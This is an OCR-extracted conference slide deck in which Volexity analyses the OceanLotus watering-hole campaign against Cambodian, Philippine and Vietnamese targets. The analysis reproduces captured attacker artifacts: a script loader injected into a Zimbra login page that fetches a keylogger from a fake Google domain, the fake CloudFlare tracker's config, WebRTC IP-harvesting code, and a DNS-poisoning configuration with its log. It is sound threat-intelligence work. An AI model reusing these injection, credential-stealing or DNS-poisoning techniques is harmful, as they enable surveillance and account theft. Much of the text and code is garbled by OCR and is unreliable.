%u178A%ul7BE%u1798%ul1786%ul7D2%ul1793%ul17B6%ul7C6 %ul7E2%ul7E0%ul7E1%ul7E6 ", "client_url "
"http://www.mfa.gov.kh/?page=detail&ctype=article&id=1968&Ig=kh ", "client_cookie ":
"PHPSESSID=b582f33b28030eee2658c9c626327cda; __atssc=google%253B1;
APISID=7d2d7ce47dd17aebaee928a2bc1af095; __atuvc=2%257C21; __atuvs=592424c81fa93ff9001;
SAPIS_ID=cAxqYWNpZmRtaWhmZGpocG5qcGlpY2suY29tYnlvd3NIcilleHRIbnNpb13uamRma21pYWIlq ", "client_hash " " ",
"client_referrer " "http://www.mfa.gov.kh/?page=detail&ctype=article&id=1968&Ig=en ", "client_platform_ua ": "Mozilla/5.0
(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 ", "client_time ":
"2017-05-23T12:02:50.819Z ", "timezone ": "America/New_York ", "client_network_ip_list "[ "192.168.1.201 "], "client_api
": "0073002e006a00730063006f00720065002d00670072006f00750070002e0063006f006d ", "client_uuid ":
"7d317ce47dd17aebaee928a2bclaab25 ", "client_zuuid " "2223f4b74d-5db0-40a7-8755-bf1d257aa513", "during "{ "history
":1355, "webrtc "[562]}}, "navigator ":{}}

© Volexity Inc. 21
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Lots of Data Collection =

= Simply visiting the Cambodian MFA website loaded a
JavaScript file that kicked off a ton of system profiling and
reporting.

» All kinds of IDs, browser information, screen size, internal IP
address, plugins, etc.

» We label this profiling framework as Framework B

= At this point we are not seeing any exploit attempts,
malware download prompts, or any sort of phishing.

* Next we want to know where all this data is going and
what other systems might be involved.

© Volexity Inc. 22
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Digging In

» Investigating the domain jscore-group.com turned up
very little useful data.

» However, researching health-ray-id.com began to
unravel a staggering number of related websites and
infrastructure.

© Volexity Inc. =
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One Site After Another... =

Site Link 1 Link 2 Link 3
https://health-
mfa.gov.kh www.mfa.gov.kh/jwplayer.js $.jscore-group.com/Js/jwp.js ray-id.com
/robot.txt
www. khmer-press.com http://cdn.widgetapi.com/includes/api.is https://health-ray-id.com/robot.txt
www.kntnews.com http://apl.querycore.com/wp/libraries.js https://health-ray-id.com/robot.txt
khmer-note.com http://cdn.widgetapi.com/includes/api.js https://health-ray-id.com/robot.txt
= https://health-
suckhoedoisong.vn o v srate http://s1.jqueryclick.com/plugins/ul.js  ray-id.com
/is/iquery.min.js /robot.txt
e, http://police.gov.kh/wp-includes/js/jquery http://cdn.widgetapi.com/includes i o
.gov. B ¥
/jquery.js?ver=1.12.4 /api.js /robot.txt
" https://health-
http://www.baocalitoday.com/wp-content/themes : : %
www,baocalitoday.com /bel-theme/js/dat-menu.js?ver=1.0 http://a.doulbeclick.org/analytics.js ;f;'blg‘i::n

https://health-
http://ad.jqueryclick.com/assets/adv.js ray-id.com
/robot.txt

http://www.afp.mil.ph/modules/mod_js_flexsiider

yewwe.afp;mil,ph Jassets/js/jquery.easing.js

truyenhinhcalitoday.com http://ad.adthis.org/analytics.js https://health-ray-id.com/robot.txt
www.diendantheky.net http://hit.asmung.net/analytics.js https://health-ray-id.com/robot.txt

https://d1s66IdIhegqs2.cloudfront.net https://health-

https://d1s66ldIhegqs2.cloudfront.net/ Jrwb3498472=1 https://wiget.adsfly.co/blog.js ray-id.com
/robot.txt
dannews.info http://js.ecommer.org/menu.js https://health-ray-id.com/robot.txt
www.atgt.vn http://www.googleuserscontent.org/js/gc.js https://health-ray-id.com/robot.txt
https://health-
vietcatholic.net http://vietcatholic.net/Inc/js/jquery-1.9.1.min.js https://wiget.adsfly.co/api/query.js ray-id.com
/robot.txt
© Volexity Inc. 24
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ASEAN Compromised

asean.org asean.org/modules/aseanmail/js/wp-mailinglist.js | ad.jqueryclick.com/assets/adv.js

asean.org/modules/wordpress-popup/inc/external  cloudflare-api.com/ajax/libs/jquery

asean.org /wpmu-lib/js/wpmu-ui.3.min.js /2.1.3/jquery.min.js?s=1&v=72580

www.monasri.gov.kh/templates/monasri_template

Jjs/menu/mega.js ad.jqueryclick.com/assets/adv.js

www.monasri.gov.kh

» The Association of South Eastern Asian Nations (ASEAN)
is a very high-profile organization.
» It’s also the first website we found two sets of suspect

JavaScript on...
¢ ad.jqueryclick.com (Framework B) and...

© Volexity Inc.

25

Fake CloudFlare Domain

= cloudflare-
api.com/ajax/libs/jquery/2.1.3/jquery.min.js?s=1&v=725
80

» Large blob of ]S that provides functions for performing
MD5 hashing, base64 decoding, setting variables, and
loading other functions.

var device_type = 'Desktop';

var os = 'winl0';

var os_bits = '64';

var browser = 'ie';

var encryption_key = '1d8c39022dfce07712£8950ba7ad2263";
var receive_url = '//cloudflare-api.com/icon.jpg?v=72580";
var base_url = '//cloudflare-api.com/';

var cdn_base_url = '//cloudflare-api.com/';

© Volexity Inc.
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New Framework -
*» This new framework collects similar information as

Framework B but does it in different ways and actually
encrypts the data being sent vs simply encoding it with
base64

» We gave it the moniker Framework A

» This framework was deployed alongside Framework B on

the ASEAN website. The two frameworks do not work
together.

» It is unclear why OceanLotus deployed both frameworks to the

ASEAN website.
27

Framework A: Keylogger

» During the course of our investigation into OceanlLotus
and Framework A, we learned there was a version of it
that had keylogger functionality.

» Framework A functionality is designed to potentially be
unique per site the code is on (v= identifier).

= There were versions observed for OWA and Zimbra.

» Checks for specific username and password fields to capture and
send along.

© Volexity Inc.
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Philippines National Security Council (NSC)

& AkARE BEGIN LICENSE BLOCK *#**=¥

* Zimbra Collaboration Suite Web Client

+ Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014 zimbra, Inc.
.

* The contents of this file are subject to the Common Public Attribution License Version 1.0 (the "License");
* you may not use this file except in compliance with the License.

* You may obtain a copy of the License at: http://www.zimbra.com/license

* The License is based on the Mozilla Public License Version 1.1 but Sections 14 and 15

* have been added to cover use of software over a computer network and provide for limited attribution

* for the Original Developer. In addition, Exhibit A has been modified to be consistent with Exhibit B.

*

* Software distributed under the License is distributed on an "AS IS" basis,

* WITHOUT WARRANTY OF ANY KIND, either express or implied.

* See the License for the specific language governing rights and limitations under the License.

* The Original Code is Zimbra Open Source Web Client.

* The Initial Developer of the Original Code is Zimbra, In

* All portions of the code are Copyright (C) 2006, 2007, 2008 2009, 2010, 2011, 2013, 2014 Zimbra, Inc. All Rights Reserved.

'/ ##e% END LICENSE BLOCK ##*#+

-

window.onload = function () {
var jqueryjs = document. createzlement( script')
jqueryjs.setAttribute('src','//jquery. google-jc orq/ajaxllibl/jquetylz 1.3/jquery.min.js?s=16v=18967");
document .body. appendchild(jqueryjl)

}

29
Fake Google Site via PH NSC =
» JavaScript added to the main index page loads keylogger
(form stealer) from OceanlLotus Framework A website.
» New domain: google-js[.]org
» [dentified several other fake Google sites:
» google-js[.]net
» google-script[.]org
» googlescripts[.]com
» googleuserscontent[.]org
» track-google[.]Jcom

© Volexity Inc.
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Keyloggers

» Found on the following sites:

zimbra.nsc.gov.ph (Zimbra)
email.cnooc.com.cn (OWA)

email.cosl.com.cn (OWA)
mail.navchina.com (OWA)
mail.nsoas.org.cn (OWA)
mail2.afp.mil.ph (Zimbra)
mail.moit.gov.vn (OWA)

© Volexity Inc. 31
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Profiling Framework Victimology

= We did a substantial amount of research into targeting
and victims of the OceanlLotus mass surveillance
campaign.
*» The following targets emerged:
» Cambodian Government & Media
» Philippines Military & Government
» Laotian Government

» Vietnamese [focused] NGOs and Individuals at odds with the
Viethamese Government

© Volexity Inc. 32
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Vietnamese NGOs and Individuals

» The vast majority of compromised websites belonged to
bloggers, activists, and NGOs critical of the Vietnamese
Government.

» Formosa Ha Tinh Steel Blog*

* Taiwanese steel company that caused a major environmental disaster in
Vietnam after dumping cyanide and other harmful products into a river

» Human Rights Defenders

» News/Media Websites

» Religious (Catholicism)

» Websites exposing mistreatment of activists

= Over 100 websites and BlogSpot pages

© Volexity Inc.
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Interesting Notes

» Numerous hosting providers and a large variety of CMS
platforms
» Joomla
» Drupal
» WordPress
» Blogger/BlogSpot
» Numerous different methods of loading their JS
» Typically appended to different legitimate JS files on a site
» Variables often customized to blend in
» Hosthames are often split up in multiple parts

© Volexity Inc.
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Domains: Brand Impersonation

Google YAHOO!  Praerie TN
7 Chartbeat o

3 Add This ' =! Microsoft LINKSYS' /t
E E!: !!E’ moz://a ' VNPT
6 mai touD \/Nprton s

)y Symantec =Y
< Jauery S|nasig

lﬁzwetnam Airlines 4=
@«

@ptimizely urcafee

wVaeErTTEL
s @» SANGFOR

NETFLIX
catee  KASPERSKYE picsua VIMeEO

Targeting Whitelists =

= All these frameworks and we see little to no action... What
gives?

= Determined that OceanLotus must have some sort of

profiling criteria and/or whitelists to determine who to
target.

» Based on research, we start to suspect if you are on the
OL target list they will:

» Present fake login page
» Present malware download

© Volexity Inc.
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High Priority Targets

» An organization Volexity works with has been high-
priority target for OceanlLotus.
» Conducted 2015 incident response for them involving
OceanlLotus
» We can confirm a whitelist for targeting exists based on
network security monitoring and on-site testing.

= In our testing, we were able to visit compromised
Viethnamese websites and have Framework B actually take
action beyond just collecting profiling information.

© Volexity Inc.
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Mach Song Media with Internet Explorer

(] x &
€ >0 com * |

x

- o
78 -

| TV RADIO  TINTUC  BINMLUAN | CONGDONG  VIETNAM  CHINMTRI KIENTHUC DOVSONG  VANMOC  LICHSU

Van Bong Dinh Ch @ This content is Locked @
va Viét Nam

Please support us, click follow 1o unlock the content

Trude hét Vigt Nam
e o
Théng Beo cie BFEOS

Mgey 13 mang 9 3017

b mincssegrma com

L 90 1mmanggoeese. o nay TOSB3E-3190

Trong milng tuln h &8y, BFS0S a8 phil Agp vo1 mit 38 +4n phong 38a tubu v8 truong nghi of sy s

g i e 18 v Wik g Thding e Vg v by Thod Thuln Ths vt VIt Mam vi 85/ 0 vi o

téogtac’, Vi pateg Thieg Dic 63 wikth 1 et Al Gl N mint back vb Sl téa ddn die Trod b= S LA
Thude Thi adly, v c309 Uam a8 S0 aus var o 19 ¢ling nRu 9o Inpde Nag K b A8t v 4

Qs PG VAN s, BFSOT A rinh Sary AT A0 8 el 1 AN 10T A Basis Bl w1 V4t Parn. 41 i
e TG § thit Xn bong qyln a8 rOV 2 adn. Chiang 81 83 Th 18 110 Vi Bhing Thée Dic tac
M2ong hop NGt MY 98¢ VW L ngy & Vg T B cudng 03t tie sdn @ Vit eamn, wé cd Ling Gee
e, Chong ¢ 0 kg 9ol Viln Fhdng Théng 6 thim @nh 1nC St N ma chinh sach catng Sout
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Mach Song Media with Chrome =
o o
(“ w'k::w‘ooc"m‘e : com & % :
Take Chrome everywhere
B
© Volexity Inc. 39
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Sign In or Cancel... Same Place =
ST e a]
(3 C @ Secure | https//accounts.google.com Voaut tif tid=13719 71-56p1 kbbtot7 1sfSpcdby 17 3 )| 3
Google
Signin . ,
=
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Logging In?
» Targeted visitors are made to believe they are simply
logging in to access the website or additional content.

» Instead, this is actually a Google OAuth page that will
attempt to gain access to the target’s Gmail account.

*» There is one last opportunity to not fall victim to this
attack even after typing a password.

© Volexity Inc.
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Last Chance...

Google
Hi
(] @gmail.com
wants 1o
M Read, send, delete, and manage your email @
B View your contacts O

® View the activity history of your Google @
apps

Allow 1o do this?

CANCEL ALLOW

© Volexity Inc.
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Immediately After Allowing Access...
& Recent security events
Secun:y alerts M,d iecumey-vf‘lflfii ’AC'f‘I(?I\S you've taken (like changing your password or adding recovery
Rmnlletl:l:y:
Access Type [ 2] Location (IP address) [ 2] Date/Time
Browser, mobile, POP3, etc.) (Displayed in your time zone)
Browser (Firefox) Show details * United States (TX) ( ) 8:50 am (0 minutes ago)
Authorized Application United States (NJ) (138.197. ) 8:42 am (8 minutes ago)
(13719525067 1-5fp1vb9i2kbbtot7 1sf5pcdbv7bjoqe?.apps.googleusercontent.com)
Hide details
OAuth Domain Name: s}
13719525067 1-50p1vb9i2kbblot71sf5pcdbvTbjoqe7.apps.googleusercontent.com Digiiet Ochan Bt Addesas
Manage Account Access
o onT. AR
\ .vrmrr.:i‘g::u v«':::?u:e
Freehost (UA)
© Volexity Inc. 43
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OceanlLotus Google Access
= \/olexity believes that OceanlLotus developed a Google
App that allows them to steal e-mail and contact
information.
» They can also send e-mail on behalf of the victim, too.
» This type of access also completely bypasses/circumvents
any 2FA on the account.
» There are workarounds to prevent this, but they are not
commonplace with Google account access
© Volexity Inc. 44
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Post-blog Activity =
= Within 48 hours of the blog being posted, they removed
their malicious JavaScript from a large number of the
websites they compromised
» Mostly the Viethamese NGO/Human Rights/Civil society websites
» They did not remove webshells
*» The vast majority of their infrastructure was crippled due
to the infrastructure being burned in conjunction with
providers disabling their DNS.
45
O

Business as Usual & Resuming Activities

» OceanlLotus spear phishing never skipped a beat. If
anything, it appeared to pick up shortly after the blog and
through mid 2018.

» The web profiling campaign scaled back dramatically but
reemerged in early to mid 2018.
» Heavy focus on Cambodian Government websites

» Virtually no web profiling via websites in Laos, Philippines, and
China

» Light focus on Vietnamese language sites

© Volexity Inc. 46
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Mid-to-Late 2018

» In mid-to-late 2018, OceanLotus start reemerging on
more Vietnamese blogs and activist websites.

» ESET details the resurgence of the OceanLotus in a blog
from last November.
» 21 compromised sites list, the majority are legacy compromises

» Most of the exploit infrastructure is disabled or abandoned; most
compromised websites are no longer serving active tracking
code

Ref: hitps://www.welivesecurity.com/2018/11/20/oceanlotus-new-watering-hole-attack-southeast-asia/

© Volexity Inc.
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Changes to Code & Infrastructure

» Oceanlotus started obfuscating their code more and in
different ways across various websites.
» Dean Edwards packed code
» Breaking up values into multiple variables
» Reversing text so it appears backwards
» Use of String.fromCharCode()

» Dynamic DNS

» Starting in September, began seeing a heavy move to Dynamic
DNS

» Dyn hostnames used for both profiling and malware activity

» Frequently using new hostname per compromised website
* mfaic.gov.kh -> weblink.selfip.info

© Volexity Inc.

48

© Volexity Inc.

24


https://www.welivesecurity.com/2018/11/20/oceanlotus-new-watering-hole-attack-southeast-asia/

Volexity Cyber Sessions

September 2019

New in 2019

» OceanlLotus has started leveraging a new framework for
tracking and profiling visitors:

& matomo

= Matomo, formerly known as Piwik, is an open source web
analytics application that can provide powerful insight into
the visitors of a website.
» Uses a JavaScript tracking client and a PHP receiver to collect
data
» Supports using custom variables, to plug in additional code that
can be used to collect information that is not available by default

© Volexity Inc. 49
. N A -
[in khong le (tinkhongle[.]com)
Tim kidm. Q
HIOT'PfW- RTCPeerConnection !==
r addrs =
r config
<script>
var _paq
_paq.pud
(functiq % -
var u ar pc = RTCPee ne on(config);
paq n ( )
paq-j r addr = parseCandidate( candidate.candidate);
var d SRt X Rradnhhatigion w4 agName ('script') [0];
(!addrs.includes(addr.address)) ;
9. typg 1 atono. 351;
s.parentNd addrs.push(addr.address);
POz
</script>
pc.onicegatheringstatechange
(pc.1iceGatheringState
paq.push( :
Nhét tr&r nén gidu c6. Nhit cb xe
CHINH TR| hoi, nha fau, ubng ...
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Leadsdonut!

Services

LEADSDONUT . COM
n ID: 2347143156

Registrar: NameChe
- Registrar IANA I

Registrar Abuse Contact Email: namecheap . com

Registrar Abuse Contact Phone: +1 3102107

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
DNS1.REGISTRAR-SERVERS.COM

erver: DNS2.REGISTRAR-SERVERS.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https ww.1icann.org/wicf/
> Last update of whois database: 2019-03-05T21:45:197 <<<

© Volexity Inc.
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Fake Activism, Fake News?

»In a rather dramatic turn of events we also discovered
with fairly high confidence that..
» Multiple websites we had believed to be compromised are
actually run by OceanlLotus

* Some of these websites maintain a social media presence as well
(Facebook)

* Websites range from actual activism to news websites
» Doppelganger domains used mirrored content from legitimate
domains
* Profiling code
* Exploit code
* Keyloggers

© Volexity Inc.
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- - . H .
Activist Blog & Facebook Group: Formosa Ha Tinh
facebook
q 4
L .14
Posts X Search for post
0 Formosa - Sy tht di phai bay Community Saa ki
May 2,208 - O
Formosa - Sy thit K§ su Formosa tiét 19: Xa thai thyc sy rdt kinh hodng, kiém tra khéng ol g
d phoi bay th& phat hign 3\ 309 people follow this
@formosasuthat “D& d8i phé v6i co quan chic niing, ngudi ta bd tién xi Iy mdt Iugng
AR v cling nhd, rbi cho cé vao nudi d& qua m§t. Con phdin 16n 13 xd About See All
— - trdm qua mt duding 8ng 16n chay ngdm dudi bién..” - Mt k§ su cla ® o . O .
Posts oot el oo Formosa tiét 1§ va khing dinh riing sau nay khi di vao hoat ddng, x4 - M‘:‘;:"HWO:MO“ e o R
Photos thai clia Formosa s& khing khiép han nhiéu. & i Pl
2 sanat spot.com
About About http://www.for com/.../Ky~su-formosa I ha... Nl oAt
= = [ Community
CONTACY INFO O CONG noml? ving dns
nfo and Ads
= m.mefformosasuthat O People >
blogformasanatinh@gmad.com 201 fhes
htip:/Tormosahatinh, bIogspot com
0 Avout
FORMOSA GET OUT OF VIETNAM
6 Community
© Volexity Inc. 53
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Remember Tin khoéng |&€?

D wwwtinkhongle.com

- Q0

THE GIOT TRUNG Quéc
_— — Home Posts Videos Photos About Cor

About ? Suggest Edits

My tiét 16 thém Iy do dam phén véi

Quén di Trung Quéc da tir bo dé
Tridu Tién d6 v& & VN

ché& kinh doanh ty USD nhu thé
nao

17,737 peopie Ske this
TT Trump va Chil tich Kim
‘khdng dat thoa thudin' &
Vigt Nam

Phé Téng tham muu
trrding qudin 8di Trung
Quéc bj bt

20,879 people foliow this

[

Ha N&i 1 nori 86n hai dng
un
Thugng dinh tai Da Néng:

Viét Nam 12 béing chimg dé
Trump thuydt phyc Kim
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54

© Volexity

Inc.

Donaid Trump va Kim Jong-

PEEEEEEE Nhirng cudc chifn y thirc

' hé sép & coa Trung Qubc

oy Em trai Lénh K& Hoach tiét
1% bi mat ddng trdri cia
Trung Quéc
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OceanlLotus Run Websites

HOSTNAME SOCIAL MEDIA NOTES
formosahatinh[.Jcom https://www.facebook.com/formosasuthat Rights advocacy / anti-Formosa Steel Plant
baochongthamnhung[.Jorg  https://www.facebook.com/baochongthamnhung  Anti-corruption website
tinkhongle[.Jcom https://www.facebook.com/tinkhongle Vietnamese news
gaideptoanquoc[.Jcom N/A Website offering escort services
vietstudies[.]net N/A Doppelganger domain & mirror of legitimate website: viet-studies.net
ngoclongvn[.Jcom N/A Doppelganger domain & mirror of legitimate website: ngoclongood.com
hadocorp[.Jcom N/A Doppelganger domain & mirror of legitimate website: hado.com.vn
thienlongcorp[.Jcom N/A Doppelganger domain & mirror of legitimate website: thienlonggroup.com

© Volexity Inc. 55]

55

LAN Targeting without Credentials

= In April of this year, Volexity worked on a case where a user at an
organization working on Vietnamese issues fell victim to a spear
phishing attack.

= Attackers pushed down tools onto the system, one of which was
given the name RatSnif by Cylance in a blog post from June.
» File was named AdobeUpdate.exe (despite having file details and an icon
related to Oracle Java)

» Used this to conduct attacks against other systems on the LAN through ARP
spoofing and intercepting DNS requests
* Return poisoned results for various DNS names

» Recovered attacker configuration file settings.cfg (base64 encoded)

© Volexity Inc. 56
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settings.cfg | DNS Poisoning Targets

setting -ip "192.168.1.85" -ga "192.168.1.1" -name "10phut.info,24h.dan-tri.com,24h.tin-
hay.com,2giay.info,2isao.com,afamily.vn,anninhdoisong.com,autoxe.net,azthethao.com,bandocbao.com,bantinbuoisang.net,bantincuocsong.com
,bantinnhanh.net,bantinsang.net,bantinxahoi.info,baocongan.info,baodatviet.vn,baohaiduong.vn,baomoihd.com,baomoivn.org,baonay.com,baon
et.site,baonet.today,baonguoitieudung.info,baophapluatviet.info,baophunuthudo.vn,baotinmoivn.info,baotintuc247.com,baotonghop247.net,baov
iet.net,bianbonphuong.com,bilutv.com,bimatsao.com,blogtamsu.vn,bocongan.gov.vn,bomtan.net,bongdanet.vn,bongdaplus.vn,butdanh.net,cafe
biz.vn,cafef.vn,cand.com.vn,candonline.com,canhbaovn.com,chanlyvacuocsong.info,chaongaymoi.net,chauxuannguyen.org,chinhphu.vn,chonglu
andieuxuyentac.com,chuyencuasao.org,chuyenlangsao.net,chuyensaoviet.net,coccoc.com,congan.com.vn,congluan.vn,congluanplus.com,congtin
tuc.club,congtintuc24h.info,cungmua.com, cuoi.xitrum.net,dantinhoc.com,danviet.vn,diadiemanuong.com,diembao.org,docbao.vn,docbaogiay.vn,
docbaophapluat.com,doctinmoi24h.info,doctintuc24gio.info,doctintuctructuyen.info,emdep.vn,evanhatban.info,evatamsu.info,genk.vn,giadinh.net
.vn,giaitriexpress.net,giaoduc.net.vn,gioitrengaynay.net,goctinmoi.com, haivn.com,hanhquan.net,hanoi24h.net, hatinhtrongtoi.info,hay.tinonline.n
et,hdonline.vn,hoahoctro.vn,hoinhanong.info,home.vn,hottoday.net,hpgiadinh.com, katnews.net, kenh13.info,kenh14.vn, kenhkienthuc.org,kenhti
nviet.net,khampha.today,khampha.vn, kinhtedothi.vn,luatphapso.com,me.phununet.com,me.zing.vn,megafun.vn,mtgvinh.net,muctim.com.vn,ne
wsen.org,newstheusa.com,nghiplus.com,ngoisao24h.net,ngoisaoonline.info,nguoilambao.vn,nguoitieudung.vn,nhandan.com.vn,nhanh24h.info,nh
anhmuagiasi.com,nong24h.info,otofun.org,pcworld.com.vn,phapluatdoisongplus.com,phapluatplus.info,phapluatso.info,phapluatso.org,phapluatv
adoisong.net,phununet.com,phunutamsu.info,phunuvietnam.vn,plo.vn,quangnamplus.com,radioOnline.net,radiodlsn.com, redvn.info,saigonecho.c
om,sao247.com,sao24h.org,saobiz.net,shexb.com,sinhvienit.net,soha.vn,songmainhe.com,songtotnhe.com,star24h.net,suckhoedoisong.vn,sucso
ngtre.net,sukien247.com,tacchienkhonggianmang.com,taimienphi.vn,tamdiemduluan.com,tamsugiadinh.info,tapchicongsan.org.vn,tapchigiadinh.
com.vn,tapchisongdep.com,tapchivietkieu.info,tapchivietkieu.net,tbdn.com.vn,teenvn.net,thaotin.net, thietkeweb.com, thoibao.today, thoisuvtv.inf
o,thongtinchongphandong.com,thuthuat.taimienphi.vn,tiasang.com.vn,tientieu.net, tiin.vn,tin24h.com, tin24h.site, tin3650nline.com, tin8.co, tinbitc
oin.org,tinhay.gethighh.com,tinhaylam.com,tinhayvn.info, tinmientay.net, tinngoisao.info,tinnong247.org,tinnongtrongngay24h.info, tinonline.net,t
inquahay.com,tinquansu.net, tinsoc.gethighh.com,tintrieuhoi.com, tintuc24h.com, tintuc60phut.com, tintucf5.com, tintuchn.net, tintucmoinhat.org, ti
ntucnong.org,tintucnong24h.com,tintuconline.com.vn,tintuconlinel.com,tintuconline2.com,tintucsaoviet.net, tintucso.net, tintucthegioi247.com,tin
tucvtv.info,tintucxahoi.net, traideu.com, trithucvn.net, truyentranh.net, ttvn.vn,vdaily.net, viet-

home.org, vietbao.vn,vietcredit.com,vietinfo.eu,vietnamdatnuoctoi.live,viethamnet.vn,vndaikynguyen.com,vneconomy.vn,vnmedia.vn,vnntin24h.
com,vntb.org,vtv6.online,www.atgt.vn,www.baocongdan.com,www.baogiaothong.vn,www.baoxaydung.com.vn,www.bongda.com.vn,www.codotp
hcm.com,www.danchimviet.info,www.doisongphapluat.com,www.haithietchu.com,www.ieltsduhoc.com.vn,www.muabannhadat.vn,www.nettruye
n.com,www.ngoisao.sexy,www.nhandan.com.vn,www.phimmoi.net,www.phongcachsao.com,www.qdnd.vn,www.sggp.org.vn,www.thuvienhoase
n.info,www.tinmoi.vn,www.vietnamdaily.com,www.vn-
zoom.com,www.xaluan.com,www.yan.vn,xabuon.com,xahoi24gio.info,xem.vn,xunghe24h.com,yeah1.com,yume.vn" "103.83.156.80"
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settings.cfg | DNS Poisoning Continued..

-name
"b.scorecardresearch.com,download.google.com,download.mozilla.org,filesl.coccoc
.com,flash.adobe.com,fonts.googleapis.com,net.geo.opera.com,sb.scorecardresear
ch.com,stats.g.doubleclick.net,update.adobe.com,www.google-
analytics.com,www.googletagmanager.com,www.googletagservices.com"
"87.117.234.178" -all -log "log.txt"

© Volexity Inc. >
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log.txt

[INF][10:31:11][::::0]DNS Query 192.168.1.122: TEXTSECURE-SERVICE.WHISPERSYSTEMS.ORG
[INF][10:33:42][::::0]DNS Query 192.168.1.122: STAR.C10R.FACEBOOK.COM
[INF][10:33:42][::::0]DNS Query 192.168.1.122: P48-BUY.ITUNES-APPLE.COM.AKADNS.NET
[INF][10:33:50][::::0]DNS Query 192.168.1.122: GOOGLEADS.G.DOUBLECLICK.NET
[INF][10:33:55][::::0]DNS Poison 192.168.1.122: FONTS.GOOGLEAPIS.COM -> 87.117.234.178
[INF][10:33:55][::::0]DNS Query 192.168.1.122: PAGEAD-GOOGLEHOSTED.L.GOOGLE.COM
[INF][10:34:19][::::0]DNS Query 192.168.1.122: PROD1-API.ACOMPLL.NET
[INF][10:34:21][::::0]DNS Query 192.168.1.122: LOGIN.MICROSOFTONLINE.COM
[INF][10:34:24][::::0]DNS Query 192.168.1.122: SUBSTRATE.OFFICE.COM

© Volexity Inc. >
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Targeting Hmong Refugees

From: B& Hai Nguy&n <bahainguyen.btv@gmail.com>

Date: 15:28, Th 3, ngay 12 thang 3 ndm 2019

Subject: Thu thap hd so Dan tgc Mdng_Can bd sung hoan thién
To:< ‘@gmail.com>

Kinh chao anh

T6i 1a Nguy&n B4 Hai_Thanh vién cua t8 chirc "Hd so nhan quy&n Viét Nam", dugce biét dén anh thdng qua mét s& chuong trinh cua cac khda hoc xa hdi dan sy. Chang t6i hién
nay dang tién hanh thu thap thdng tin, hd so' v& tinh trang vo t6 qudc cla cac Dan toc H'Mdng & Tay Nguyén va Tay Béc dé guri dén céc t8 chirc nhan quy@n trén thé gi&i nhdm
cing hd trg' nhan dan tai day dé giap ho vugt qua nhirng khé khan cua hién tai. D& hoan thién dugc hd so, ching toi can sy tham gia cla cac dén tdc tai ban lang va ky tén Ung
hd dé tap hop trinh guri 1én cép trén.

Duéi day la thong tin ciia anh ma ching t6i ¢ dugc, xin glri dén anh dé xac nhan, chinh sira va cung ky tén dé ching i c6 thé thyc hién dy an sé'm nhét co thé.
Néu anh xem ddy la vdn d& hé trong cua dén toc thi hoan thién sém va phan hdi email nhanh chéng dé ching toi tap hop.

Xin guri thdng tin dén anh dé xac nhan va ky tén.

Tran trong

Nguyé&n Ba Hai

Hb so nhan quydn Viét Nam

bahainguyen, biv@gmail.com

Thong tin ho so ky ten ung ho tinh trang vo to...Dinh.hta
(1.7 MB)
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Recap and Final Thoughts

» OceanlLotus has:
» Proven an ability to conduct humerous widespread and simultaneous
cyber espionage operations

» Conducted multi-year long efforts to run and maintain fraudulent
websites with the purposes of tracking and targeting out-of-favor
individuals and organizations

» Actively compromised systems and networks belonging to global
corporations, government organizations, and individuals (activists)

» Goes to great lengths to target those outside of the country and
persecute them based on religious beliefs
» Based on the items presented today and other research,
Volexity believes that OceanLotus will continue to advanced its
capabilities and be a formidable threat.

© Volexity Inc.
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Resources

» HowTo: Privacy & Security Conscious Browsing
» https://qgist.github.com/atcuno/3425484ac5cce5298932

» Review applications with access to your Gmail account
(and their permissions):
» https://myaccount.google.com/permissions

» Look into Google’s Advanced Protection Program
» https://landing.google.com/advancedprotection/

© Volexity Inc.
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Thank you for attending!

If you have any further questions or comments, come find me later or drop me a line.

Contact
e-mail: sadair@volexity.com
twitter: @stevenadair
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